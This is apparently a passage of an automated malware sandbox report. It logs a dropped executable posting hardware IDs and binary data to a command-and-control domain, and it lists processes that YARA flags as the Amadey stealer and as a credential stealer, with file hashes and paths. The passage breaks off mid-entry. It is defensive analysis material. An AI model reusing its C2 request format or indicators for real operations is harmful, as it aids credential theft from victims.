2024-12-20 01:11:49 UTC	1369	IN	Data Raw: 35 6e 54 36 77 6d 32 44 57 72 78 62 4f 2b 4e 36 48 56 2f 57 50 56 30 36 67 4d 42 70 6f 55 79 58 6b 4f 4b 43 53 62 2f 6a 4a 70 73 6d 31 45 36 33 47 64 64 75 4b 47 74 61 78 2b 39 5a 72 62 61 73 7a 56 39 45 52 48 68 46 48 64 4e 51 6b 70 61 63 6d 2f 4f 32 36 37 61 6b 37 76 63 5a 73 6b 72 63 43 67 74 44 4f 6e 79 50 42 73 77 74 53 69 45 77 53 64 47 63 39 35 48 43 77 70 6b 76 52 37 4b 76 35 6e 57 36 77 6d 32 42 57 37 30 4c 69 7a 4d 72 76 52 2b 32 54 52 31 4c 39 65 53 64 73 4f 77 32 52 4f 66 54 2b 42 36 44 78 37 38 48 6b 44 36 33 4c 59 62 75 7a 41 75 37 49 35 71 39 54 6f 59 73 48 57 6f 42 63 4f 6e 78 66 48 64 51 6f 68 4c 70 54 38 4e 32 2b 35 59 30 7a 6f 64 35 59 2f 6f 34 62 38 39 44 6d 31 6d 71 49 6e 35 73 4b 73 45 67 72 62 41 49 70 73 54 69 49 6c 30 61 64 37 61 Data Ascii: 5nT6wm2DWrxbO+N6HV/WPV06gMBpoUyXkOKCSb/jJpsm1E63GdduKGtax+9ZrbaszV9ERHhFHdNQkpacm/O267ak7vcZskrcCgtDOnyPBswtSiEwSdGc95HCwpkvR7Kv5nW6wm2BW70LizMrvR+2TR1L9eSdsOw2ROfT+B6Dx78HkD63LYbuzAu7I5q9ToYsHWoBcOnxfHdQohLpT8N2+5Y0zod5Y/o4b89Dm1mqIn5sKsEgrbAIpsTiIl0ad7a
2024-12-20 01:11:49 UTC	1369	IN	Data Raw: 6e 61 4a 30 78 75 6f 53 48 74 7a 43 6a 33 65 77 6e 32 4f 62 68 58 67 69 42 58 35 78 4d 46 32 55 75 6e 62 39 6a 4a 4b 74 6e 51 2b 74 6b 6a 6a 47 67 31 37 6d 35 4d 6f 2f 56 2f 58 48 45 31 71 77 50 44 74 63 55 79 54 56 41 5a 53 36 4a 76 32 4d 6b 6b 57 64 56 37 31 47 62 4a 36 57 47 2f 50 51 35 75 35 71 69 4a 2f 6d 5a 76 52 30 58 6d 42 44 56 53 30 35 39 4d 4b 2b 2f 4d 48 4b 35 63 45 44 36 64 5a 55 36 76 66 6a 79 37 47 72 2f 69 4b 67 31 6c 63 62 76 41 54 6a 56 58 38 55 31 56 68 77 77 30 65 6c 37 50 4f 77 75 41 2f 34 2b 77 48 62 72 78 61 43 6d 4f 4b 37 4d 2b 53 44 35 35 34 67 49 44 5a 77 50 77 32 49 42 5a 57 66 52 38 48 73 38 68 79 42 4b 36 32 57 4a 49 4b 48 57 74 66 51 42 34 35 72 69 4a 35 2b 5a 6d 68 30 4a 6c 52 6a 53 5a 45 4d 43 50 35 76 34 4b 32 4f 70 62 77 Data Ascii: naJ0xuoSHtzCj3ewn2ObhXgiBX5xMF2Uunb9jJKtnQ+tkjjGg17m5Mo/V/XHE1qwPDtcUyTVAZS6Jv2MkkWdV71GbJ6WG/PQ5u5qiJ/mZvR0XmBDVS059MK+/MHK5cED6dZU6vfjy7Gr/iKg1lcbvATjVX8U1Vhww0el7POwuA/4+wHbrxaCmOK7M+SD554gIDZwPw2IBZWfR8Hs8hyBK62WJIKHWtfQB45riJ5+Zmh0JlRjSZEMCP5v4K2Opbw
2024-12-20 01:11:49 UTC	1369	IN	Data Raw: 50 61 7a 42 6f 71 49 6c 34 64 4c 35 66 64 33 6e 6b 54 55 4c 6e 52 6a 65 63 67 67 44 43 64 47 78 65 32 76 2b 4f 48 71 73 4e 74 67 4a 34 6f 61 71 39 47 62 74 37 2f 6c 70 79 64 36 35 44 30 71 7a 50 50 35 50 54 41 6b 75 68 4c 30 50 59 36 35 78 53 4f 46 79 32 48 6a 73 77 50 4c 73 62 75 4f 61 2f 6e 61 48 67 66 39 4d 58 4d 35 4d 6b 79 56 63 4f 6d 65 49 76 79 30 6b 35 6a 49 4e 72 47 7a 59 62 75 79 42 73 61 59 73 71 39 6e 73 5a 49 44 6e 6b 54 6b 4a 6e 42 37 53 5a 52 6b 71 46 36 2f 71 4f 47 71 77 5a 31 58 39 50 74 5a 32 6f 34 62 71 6a 58 37 6c 6d 73 55 70 68 38 48 76 52 6b 65 75 48 4d 70 37 43 54 4d 34 33 4e 67 31 59 37 39 32 55 2f 74 78 32 48 6a 73 77 50 4c 73 62 4f 4f 61 2f 6e 61 48 67 66 39 4d 58 4d 35 4d 6b 79 56 63 4f 6d 65 49 76 79 30 6b 35 6a 49 4e 72 47 7a Data Ascii: PazBoqIl4dL5fd3nkTULnRjecggDCdGxe2v+OHqsNtgJ4oaq9Gbt7/lpyd65D0qzPP5PTAkuhL0PY65xSOFy2HjswPLsbuOa/naHgf9MXM5MkyVcOmeIvy0k5jINrGzYbuyBsaYsq9nsZIDnkTkJnB7SZRkqF6/qOGqwZ1X9PtZ2o4bqjX7lmsUph8HvRkeuHMp7CTM43Ng1Y792U/tx2HjswPLsbOOa/naHgf9MXM5MkyVcOmeIvy0k5jINrGz
2024-12-20 01:11:49 UTC	1369	IN	Data Raw: 61 53 33 66 75 4f 61 39 69 65 66 6d 61 34 55 46 35 59 51 77 7a 6b 4a 50 79 37 52 73 58 74 71 2f 6a 67 44 37 58 53 49 4f 36 50 42 2f 72 49 77 6f 35 72 6c 4b 64 36 5a 75 56 35 66 79 46 47 45 5a 30 35 39 61 64 62 38 4b 58 61 34 59 31 58 76 4f 61 59 49 67 64 53 31 70 44 33 76 36 2f 64 6a 30 63 79 73 44 67 43 6c 49 65 6c 6e 43 54 55 71 30 38 34 74 5a 37 35 75 52 4b 77 77 32 43 37 73 6e 76 4b 5a 4c 4b 72 4b 2b 53 65 4a 6d 61 4e 65 58 39 73 53 31 6e 49 65 4a 6d 57 57 35 54 77 6b 6f 53 35 61 72 47 6a 59 62 76 2b 49 38 71 5a 2b 39 5a 71 39 61 63 72 59 72 42 41 45 69 51 33 43 64 68 67 6d 62 71 2f 42 46 6e 61 35 63 45 43 75 54 35 55 79 75 74 4f 78 70 44 6d 54 35 4e 64 31 77 4d 6d 73 58 43 75 63 45 73 68 4c 4d 42 49 34 6c 75 39 35 51 72 31 32 51 4b 77 77 32 43 37 73 Data Ascii: aS3fuOa9iefma4UF5YQwzkJPy7RsXtq/jgD7XSIO6PB/rIwo5rlKd6ZuV5fyFGEZ059adb8KXa4Y1XvOaYIgdS1pD3v6/dj0cysDgClIelnCTUq084tZ75uRKww2C7snvKZLKrK+SeJmaNeX9sS1nIeJmWW5TwkoS5arGjYbv+I8qZ+9Zq9acrYrBAEiQ3Cdhgmbq/BFna5cECuT5UyutOxpDmT5Nd1wMmsXCucEshLMBI4lu95Qr12QKww2C7s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49950	104.21.91.209	443	7196	C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 01:11:51 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=UKDNPLH3HNC6I55 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12819 Host: treehoneyi.click
2024-12-20 01:11:51 UTC	12819	OUT	Data Raw: 2d 2d 55 4b 44 4e 50 4c 48 33 48 4e 43 36 49 35 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 45 32 43 43 30 32 45 32 42 38 44 46 32 34 31 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 55 4b 44 4e 50 4c 48 33 48 4e 43 36 49 35 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 55 4b 44 4e 50 4c 48 33 48 4e 43 36 49 35 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 72 41 47 78 53 46 2d 2d 53 75 70 70 6f 72 74 0d 0a 2d 2d 55 4b 44 Data Ascii: --UKDNPLH3HNC6I55Content-Disposition: form-data; name="hwid"9E2CC02E2B8DF241AC8923850305D13E--UKDNPLH3HNC6I55Content-Disposition: form-data; name="pid"2--UKDNPLH3HNC6I55Content-Disposition: form-data; name="lid"rAGxSF--Support--UKD
2024-12-20 01:11:51 UTC	1129	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 01:11:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=upa5uhv545rqur35pcnijgeb5j; expires=Mon, 14 Apr 2025 18:58:30 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iK7MecaB5J7GmGEBP5aF9yJGbVMRiBwqxYfDV5ZPVT6pF1apmH3xIVAg6ASIu6Xi%2BWz0CKv%2FNQgoMnyWpZog1wn2bCWel%2FrPzLZjW%2FDvWH8tVsFW%2Bykn7WNqfA21Fd8WWj4p"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4bc2c0d95b7ce7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1810&min_rtt=1800&rtt_var=696&sent=10&recv=18&lost=0&retrans=0&sent_bytes=2841&recv_bytes=13756&delivery_rate=1549893&cwnd=199&unsent_bytes=0&cid=0957286405f3449f&ts=866&x=0"
2024-12-20 01:11:51 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 01:11:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49956	104.21.91.209	443	7196	C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 01:11:53 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=S42TLRF90GUW9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15049 Host: treehoneyi.click
2024-12-20 01:11:53 UTC	15049	OUT	Data Raw: 2d 2d 53 34 32 54 4c 52 46 39 30 47 55 57 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 45 32 43 43 30 32 45 32 42 38 44 46 32 34 31 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 53 34 32 54 4c 52 46 39 30 47 55 57 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 53 34 32 54 4c 52 46 39 30 47 55 57 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 72 41 47 78 53 46 2d 2d 53 75 70 70 6f 72 74 0d 0a 2d 2d 53 34 32 54 4c 52 46 39 30 Data Ascii: --S42TLRF90GUW9Content-Disposition: form-data; name="hwid"9E2CC02E2B8DF241AC8923850305D13E--S42TLRF90GUW9Content-Disposition: form-data; name="pid"2--S42TLRF90GUW9Content-Disposition: form-data; name="lid"rAGxSF--Support--S42TLRF90
2024-12-20 01:11:54 UTC	1132	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 01:11:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=s4k2n4apciquvvcugvidsroioa; expires=Mon, 14 Apr 2025 18:58:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=r%2FrrfXlAfBJnRJfD9B2EKfHY7JuZvsrMdMx2i4YLdFFY1J6V2w2SNHLfXRSAl1caq434SllSTbMmVDJs2PPTi8aLHh%2BsCTXIXbbch%2F%2BzzQT6j%2FdiUuFfQ0N9cujBpdMEbYD%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4bc2d18b2f1902-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1504&min_rtt=1495&rtt_var=579&sent=13&recv=20&lost=0&retrans=0&sent_bytes=2841&recv_bytes=15984&delivery_rate=1858688&cwnd=219&unsent_bytes=0&cid=1949f676e1e0e11f&ts=1103&x=0"
2024-12-20 01:11:54 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 01:11:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49971	104.21.91.209	443	7196	C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 01:11:56 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=KHPL09SV User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20509 Host: treehoneyi.click
2024-12-20 01:11:56 UTC	15331	OUT	Data Raw: 2d 2d 4b 48 50 4c 30 39 53 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 45 32 43 43 30 32 45 32 42 38 44 46 32 34 31 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4b 48 50 4c 30 39 53 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4b 48 50 4c 30 39 53 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 72 41 47 78 53 46 2d 2d 53 75 70 70 6f 72 74 0d 0a 2d 2d 4b 48 50 4c 30 39 53 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 Data Ascii: --KHPL09SVContent-Disposition: form-data; name="hwid"9E2CC02E2B8DF241AC8923850305D13E--KHPL09SVContent-Disposition: form-data; name="pid"3--KHPL09SVContent-Disposition: form-data; name="lid"rAGxSF--Support--KHPL09SVContent-Dispos
2024-12-20 01:11:56 UTC	5178	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 14 cc ad fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9d 1b 88 82 b9 75 3f Data Ascii: un 4F([:7s~X`nO`i`u?
2024-12-20 01:11:57 UTC	1137	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 01:11:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=j3jl9bvg6m5ehst7h884q4l41k; expires=Mon, 14 Apr 2025 18:58:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2F9haB51BAUvlinzyAUtF2IvIabhtxT64bPh%2FnAcpHE5%2Bo%2B6vYSJz9AzevkftnB6prh%2F%2BZtMN4yBzfjf0%2Bmlq4EAn3pDxEq%2FftJyvEf2Vb2suld7g%2F0ptwtjcqhUbvUBD8646"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4bc2e20e6b4313-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1780&min_rtt=1577&rtt_var=998&sent=18&recv=26&lost=0&retrans=0&sent_bytes=2840&recv_bytes=21461&delivery_rate=911360&cwnd=252&unsent_bytes=0&cid=e244545e44c7f39e&ts=1451&x=0"
2024-12-20 01:11:57 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 01:11:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49992	104.21.91.209	443	7196	C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 01:12:01 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=M01W83XV9JW User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1252 Host: treehoneyi.click
2024-12-20 01:12:01 UTC	1252	OUT	Data Raw: 2d 2d 4d 30 31 57 38 33 58 56 39 4a 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 45 32 43 43 30 32 45 32 42 38 44 46 32 34 31 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4d 30 31 57 38 33 58 56 39 4a 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4d 30 31 57 38 33 58 56 39 4a 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 72 41 47 78 53 46 2d 2d 53 75 70 70 6f 72 74 0d 0a 2d 2d 4d 30 31 57 38 33 58 56 39 4a 57 0d 0a 43 6f Data Ascii: --M01W83XV9JWContent-Disposition: form-data; name="hwid"9E2CC02E2B8DF241AC8923850305D13E--M01W83XV9JWContent-Disposition: form-data; name="pid"1--M01W83XV9JWContent-Disposition: form-data; name="lid"rAGxSF--Support--M01W83XV9JWCo
2024-12-20 01:12:02 UTC	1125	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 01:12:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=dcr1j54gctj921527596nnu35p; expires=Mon, 14 Apr 2025 18:58:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7Drh5omGbFfHGq96MKByH%2BgQ8JNVQDoHHcVgxtmuEUjYQT9t74qNfmBbVjr4vIIsJSR%2F%2BDR%2BF2p3xh4WPkGRcALxBK2ooqixeSubwhDT3DqVNEbY6l5rcOBA3oYwFBzhvWGT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4bc302183d42e2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1683&min_rtt=1639&rtt_var=646&sent=7&recv=9&lost=0&retrans=0&sent_bytes=2840&recv_bytes=2162&delivery_rate=1781574&cwnd=187&unsent_bytes=0&cid=dd45d191f480d3fb&ts=1059&x=0"
2024-12-20 01:12:02 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 01:12:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	20:09:58
Start date:	19/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x580000
File size:	3'017'216 bytes
MD5 hash:	744E8A3718A8BCCB6C0BFE243C7AC195
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.2099186851.0000000000581000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.2058785420.0000000004810000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	20:10:00
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x8f0000
File size:	3'017'216 bytes
MD5 hash:	744E8A3718A8BCCB6C0BFE243C7AC195
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.2124748348.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.2084580491.0000000004F30000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	20:10:00
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x8f0000
File size:	3'017'216 bytes
MD5 hash:	744E8A3718A8BCCB6C0BFE243C7AC195
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.2129372535.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000003.2084862029.0000000004670000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	20:11:00
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x8f0000
File size:	3'017'216 bytes
MD5 hash:	744E8A3718A8BCCB6C0BFE243C7AC195
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2677302048.00000000048C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	20:11:14
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe"
Imagebase:	0x870000
File size:	2'923'008 bytes
MD5 hash:	54BD0A4A6832CD8741DD5FC5F0DAF5A6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	20:11:20
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe"
Imagebase:	0x40000
File size:	776'832 bytes
MD5 hash:	AFD936E441BF5CBDB858E96833CC6ED3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 68%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	20:11:21
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	20:11:24
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe"
Imagebase:	0x40000
File size:	776'832 bytes
MD5 hash:	AFD936E441BF5CBDB858E96833CC6ED3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.3069349378.0000000000A19000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.3048615422.0000000000A19000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.3049062826.0000000000A6D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.3048762934.0000000000A68000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: 